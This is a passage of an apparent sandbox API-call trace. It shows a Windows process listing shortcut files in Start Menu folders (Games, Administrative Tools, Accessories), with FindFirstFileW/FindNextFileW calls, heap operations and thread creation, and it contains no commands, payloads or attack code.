lpFindFileData=0x1cd98d00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x758f8a20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x758f8a20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7591eb80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x45a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visit Java.com.lnk", cAlternateFileName="VISITJ~1.LNK")) returned 0 [0156.635] FindClose (in: hFindFile=0x1ced58c0 | out: hFindFile=0x1ced58c0) returned 1 [0156.637] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd98d00) returned 1 [0156.637] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec5ea0) returned 1 [0156.638] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f310) returned 1 Thread: id = 2614 os_tid = 0x2158 [0156.640] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x1b86a740 [0156.640] wcscpy (in: _Dest=0x1b86a740, _Source="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Games" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Games") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Games" [0156.640] wcscat (in: _Dest=0x1b86a740, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Games\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Games\\" [0156.640] wcscat (in: _Dest=0x1b86a740, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Games\\*") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Games\\*" [0156.640] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd98d00 [0156.640] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Games\\*", lpFindFileData=0x1cd98d00 | out: lpFindFileData=0x1cd98d00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa224bfc3, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa224bfc3, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ced58c0 [0156.640] wcscmp (_String1=".", _String2=".") returned 0 [0156.640] FindNextFileW (in: hFindFile=0x1ced58c0, lpFindFileData=0x1cd98d00 | out: lpFindFileData=0x1cd98d00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa224bfc3, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa224bfc3, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0156.641] wcscmp (_String1="..", _String2=".") returned 1 [0156.641] wcscmp (_String1="..", _String2="..") returned 0 [0156.641] FindNextFileW (in: hFindFile=0x1ced58c0, lpFindFileData=0x1cd98d00 | out: lpFindFileData=0x1cd98d00*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x8038cbd7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8e194aab, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x8e194aab, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x208, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0156.641] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0156.641] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0156.641] FindNextFileW (in: hFindFile=0x1ced58c0, lpFindFileData=0x1cd98d00 | out: lpFindFileData=0x1cd98d00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3db22b28, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x3db22b28, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x3db94f49, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x102, dwReserved0=0x0, dwReserved1=0x0, cFileName="GameExplorer.lnk", cAlternateFileName="GAMEEX~1.LNK")) returned 1 [0156.641] wcscmp (_String1="GameExplorer.lnk", _String2=".") returned 1 [0156.641] wcscmp (_String1="GameExplorer.lnk", _String2="..") returned 1 [0156.641] FindNextFileW (in: hFindFile=0x1ced58c0, lpFindFileData=0x1cd98d00 | out: lpFindFileData=0x1cd98d00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3db22b28, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x3db22b28, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x3db94f49, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x102, dwReserved0=0x0, dwReserved1=0x0, cFileName="GameExplorer.lnk", cAlternateFileName="GAMEEX~1.LNK")) returned 0 [0156.641] FindClose (in: hFindFile=0x1ced58c0 | out: hFindFile=0x1ced58c0) returned 1 [0156.642] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd98d00) returned 1 [0156.642] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86a740) returned 1 [0156.642] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85dd90) returned 1 Thread: id = 2615 os_tid = 0x2154 [0156.644] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x20508b30 [0156.644] wcscpy (in: _Dest=0x20508b30, _Source="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools" [0156.644] wcscat (in: _Dest=0x20508b30, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\" [0156.644] wcscat (in: _Dest=0x20508b30, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\*") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\*" [0156.644] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd98d00 [0156.644] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\*", lpFindFileData=0x1cd98d00 | out: lpFindFileData=0x1cd98d00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81c3cfe0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x81c3cfe0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ced58c0 [0156.645] wcscmp (_String1=".", _String2=".") returned 0 [0156.645] FindNextFileW (in: hFindFile=0x1ced58c0, lpFindFileData=0x1cd98d00 | out: lpFindFileData=0x1cd98d00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81c3cfe0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x81c3cfe0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0156.645] wcscmp (_String1="..", _String2=".") returned 1 [0156.645] wcscmp (_String1="..", _String2="..") returned 0 [0156.645] FindNextFileW (in: hFindFile=0x1ced58c0, lpFindFileData=0x1cd98d00 | out: lpFindFileData=0x1cd98d00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x898d4524, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x898d4524, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8d692035, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4da, dwReserved0=0x0, dwReserved1=0x0, cFileName="Component Services.lnk", cAlternateFileName="COMPON~1.LNK")) returned 1 [0156.645] wcscmp (_String1="Component Services.lnk", _String2=".") returned 1 [0156.645] wcscmp (_String1="Component Services.lnk", _String2="..") returned 1 [0156.645] FindNextFileW (in: hFindFile=0x1ced58c0, lpFindFileData=0x1cd98d00 | out: lpFindFileData=0x1cd98d00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26ea3fc9, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x26ea3fc9, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x26f163ea, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x50e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Computer Management.lnk", cAlternateFileName="COMPUT~1.LNK")) returned 1 [0156.645] wcscmp (_String1="Computer Management.lnk", _String2=".") returned 1 [0156.645] wcscmp (_String1="Computer Management.lnk", _String2="..") returned 1 [0156.645] FindNextFileW (in: hFindFile=0x1ced58c0, lpFindFileData=0x1cd98d00 | out: lpFindFileData=0x1cd98d00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15444c01, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x15444c01, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x154b7022, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Data Sources (ODBC).lnk", cAlternateFileName="DATASO~1.LNK")) returned 1 [0156.645] wcscmp (_String1="Data Sources (ODBC).lnk", _String2=".") returned 1 [0156.645] wcscmp (_String1="Data Sources (ODBC).lnk", _String2="..") returned 1 [0156.645] FindNextFileW (in: hFindFile=0x1ced58c0, lpFindFileData=0x1cd98d00 | out: lpFindFileData=0x1cd98d00*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xa3aca9c, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0xa3aca9c, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x81c3cfe0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x7a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0156.645] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0156.645] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0156.645] FindNextFileW (in: hFindFile=0x1ced58c0, lpFindFileData=0x1cd98d00 | out: lpFindFileData=0x1cd98d00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b8e0e72, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x2b8e0e72, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x2b8e0e72, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x512, dwReserved0=0x0, dwReserved1=0x0, cFileName="Event Viewer.lnk", cAlternateFileName="EVENTV~1.LNK")) returned 1 [0156.645] wcscmp (_String1="Event Viewer.lnk", _String2=".") returned 1 [0156.645] wcscmp (_String1="Event Viewer.lnk", _String2="..") returned 1 [0156.645] FindNextFileW (in: hFindFile=0x1ced58c0, lpFindFileData=0x1cd98d00 | out: lpFindFileData=0x1cd98d00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2725c230, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x2725c230, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x272a84f0, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="iSCSI Initiator.lnk", cAlternateFileName="ISCSII~1.LNK")) returned 1 [0156.645] wcscmp (_String1="iSCSI Initiator.lnk", _String2=".") returned 1 [0156.645] wcscmp (_String1="iSCSI Initiator.lnk", _String2="..") returned 1 [0156.645] FindNextFileW (in: hFindFile=0x1ced58c0, lpFindFileData=0x1cd98d00 | out: lpFindFileData=0x1cd98d00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa38693b, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0xa38693b, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0xa3aca9c, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Memory Diagnostics Tool.lnk", cAlternateFileName="MEMORY~1.LNK")) returned 1 [0156.646] wcscmp (_String1="Memory Diagnostics Tool.lnk", _String2=".") returned 1 [0156.646] wcscmp (_String1="Memory Diagnostics Tool.lnk", _String2="..") returned 1 [0156.646] FindNextFileW (in: hFindFile=0x1ced58c0, lpFindFileData=0x1cd98d00 | out: lpFindFileData=0x1cd98d00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14139bde, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x14139bde, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x14328dc1, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Performance Monitor.lnk", cAlternateFileName="PERFOR~1.LNK")) returned 1 [0156.646] wcscmp (_String1="Performance Monitor.lnk", _String2=".") returned 1 [0156.646] wcscmp (_String1="Performance Monitor.lnk", _String2="..") returned 1 [0156.646] FindNextFileW (in: hFindFile=0x1ced58c0, lpFindFileData=0x1cd98d00 | out: lpFindFileData=0x1cd98d00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x806d09e0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x806d09e0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x8071cca0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x4ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="Print Management.lnk", cAlternateFileName="PRINTM~1.LNK")) returned 1 [0156.646] wcscmp (_String1="Print Management.lnk", _String2=".") returned 1 [0156.646] wcscmp (_String1="Print Management.lnk", _String2="..") returned 1 [0156.646] FindNextFileW (in: hFindFile=0x1ced58c0, lpFindFileData=0x1cd98d00 | out: lpFindFileData=0x1cd98d00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81c3cfe0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x81c3cfe0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x81c3cfe0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x4e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Security Configuration Management.lnk", cAlternateFileName="SECURI~1.LNK")) returned 1 [0156.646] wcscmp (_String1="Security Configuration Management.lnk", _String2=".") returned 1 [0156.646] wcscmp (_String1="Security Configuration Management.lnk", _String2="..") returned 1 [0156.646] FindNextFileW (in: hFindFile=0x1ced58c0, lpFindFileData=0x1cd98d00 | out: lpFindFileData=0x1cd98d00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d7306f2, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x1d7306f2, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x1d77c9b3, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x508, dwReserved0=0x0, dwReserved1=0x0, cFileName="services.lnk", cAlternateFileName="")) returned 1 [0156.646] wcscmp (_String1="services.lnk", _String2=".") returned 1 [0156.646] wcscmp (_String1="services.lnk", _String2="..") returned 1 [0156.646] FindNextFileW (in: hFindFile=0x1ced58c0, lpFindFileData=0x1cd98d00 | out: lpFindFileData=0x1cd98d00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa575b1f, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0xa575b1f, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0xa575b1f, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4de, dwReserved0=0x0, dwReserved1=0x0, cFileName="System Configuration.lnk", cAlternateFileName="SYSTEM~1.LNK")) returned 1 [0156.646] wcscmp (_String1="System Configuration.lnk", _String2=".") returned 1 [0156.646] wcscmp (_String1="System Configuration.lnk", _String2="..") returned 1 [0156.646] FindNextFileW (in: hFindFile=0x1ced58c0, lpFindFileData=0x1cd98d00 | out: lpFindFileData=0x1cd98d00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b99f553, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x2b99f553, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x2b99f553, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="Task Scheduler.lnk", cAlternateFileName="TASKSC~1.LNK")) returned 1 [0156.646] wcscmp (_String1="Task Scheduler.lnk", _String2=".") returned 1 [0156.646] wcscmp (_String1="Task Scheduler.lnk", _String2="..") returned 1 [0156.646] FindNextFileW (in: hFindFile=0x1ced58c0, lpFindFileData=0x1cd98d00 | out: lpFindFileData=0x1cd98d00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x191902f2, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x191902f2, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x1937f4d5, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Firewall with Advanced Security.lnk", cAlternateFileName="WINDOW~2.LNK")) returned 1 [0156.646] wcscmp (_String1="Windows Firewall with Advanced Security.lnk", _String2=".") returned 1 [0156.646] wcscmp (_String1="Windows Firewall with Advanced Security.lnk", _String2="..") returned 1 [0156.646] FindNextFileW (in: hFindFile=0x1ced58c0, lpFindFileData=0x1cd98d00 | out: lpFindFileData=0x1cd98d00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8038cbd7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xab5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows PowerShell Modules.lnk", cAlternateFileName="WINDOW~1.LNK")) returned 1 [0156.646] wcscmp (_String1="Windows PowerShell Modules.lnk", _String2=".") returned 1 [0156.646] wcscmp (_String1="Windows PowerShell Modules.lnk", _String2="..") returned 1 [0156.647] FindNextFileW (in: hFindFile=0x1ced58c0, lpFindFileData=0x1cd98d00 | out: lpFindFileData=0x1cd98d00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8038cbd7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xab5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows PowerShell Modules.lnk", cAlternateFileName="WINDOW~1.LNK")) returned 0 [0156.647] FindClose (in: hFindFile=0x1ced58c0 | out: hFindFile=0x1ced58c0) returned 1 [0156.647] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd98d00) returned 1 [0156.648] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20508b30) returned 1 [0156.648] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b1e10) returned 1 Thread: id = 2616 os_tid = 0x2150 [0156.650] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x1b86a740 [0156.650] wcscpy (in: _Dest=0x1b86a740, _Source="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories" [0156.650] wcscat (in: _Dest=0x1b86a740, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\" [0156.650] wcscat (in: _Dest=0x1b86a740, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\*") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\*" [0156.650] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd98d00 [0156.651] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\*", lpFindFileData=0x1cd98d00 | out: lpFindFileData=0x1cd98d00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81caf400, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x8246bb80, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ced58c0 [0156.651] wcscmp (_String1=".", _String2=".") returned 0 [0156.651] FindNextFileW (in: hFindFile=0x1ced58c0, lpFindFileData=0x1cd98d00 | out: lpFindFileData=0x1cd98d00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81caf400, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x8246bb80, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0156.651] wcscmp (_String1="..", _String2=".") returned 1 [0156.651] wcscmp (_String1="..", _String2="..") returned 0 [0156.651] FindNextFileW (in: hFindFile=0x1ced58c0, lpFindFileData=0x1cd98d00 | out: lpFindFileData=0x1cd98d00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x89bce0a9, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x89bf4209, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Accessibility", cAlternateFileName="ACCESS~1")) returned 1 [0156.651] wcscmp (_String1="Accessibility", _String2=".") returned 1 [0156.651] wcscmp (_String1="Accessibility", _String2="..") returned 1 [0156.651] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x1cd654a0 [0156.651] wcscpy (in: _Dest=0x1cd654a0, _Source="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories" [0156.651] wcscat (in: _Dest=0x1cd654a0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\" [0156.651] wcscat (in: _Dest=0x1cd654a0, _Source="Accessibility" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility" [0158.214] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1cd654a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd80 [0158.215] FindNextFileW (in: hFindFile=0x1ced58c0, lpFindFileData=0x1cd98d00 | out: lpFindFileData=0x1cd98d00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3e9c58, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x3e3e9c58, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x3e435f19, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="Calculator.lnk", cAlternateFileName="CALCUL~1.LNK")) returned 1 [0158.215] wcscmp (_String1="Calculator.lnk", _String2=".") returned 1 [0158.215] wcscmp (_String1="Calculator.lnk", _String2="..") returned 1 [0158.216] FindNextFileW (in: hFindFile=0x1ced58c0, lpFindFileData=0x1cd98d00 | out: lpFindFileData=0x1cd98d00*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xec08153b, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xec08153b, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x8246bb80, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x73e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop.ini", cAlternateFileName="")) returned 1 [0158.216] wcscmp (_String1="Desktop.ini", _String2=".") returned 1 [0158.216] wcscmp (_String1="Desktop.ini", _String2="..") returned 1 [0158.216] FindNextFileW (in: hFindFile=0x1ced58c0, lpFindFileData=0x1cd98d00 | out: lpFindFileData=0x1cd98d00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27fbfe08, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x27fbfe08, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28032229, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="displayswitch.lnk", cAlternateFileName="DISPLA~1.LNK")) returned 1 [0158.216] wcscmp (_String1="displayswitch.lnk", _String2=".") returned 1 [0158.216] wcscmp (_String1="displayswitch.lnk", _String2="..") returned 1 [0158.216] FindNextFileW (in: hFindFile=0x1ced58c0, lpFindFileData=0x1cd98d00 | out: lpFindFileData=0x1cd98d00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80c2bb60, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x80c2bb60, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x8246bb80, 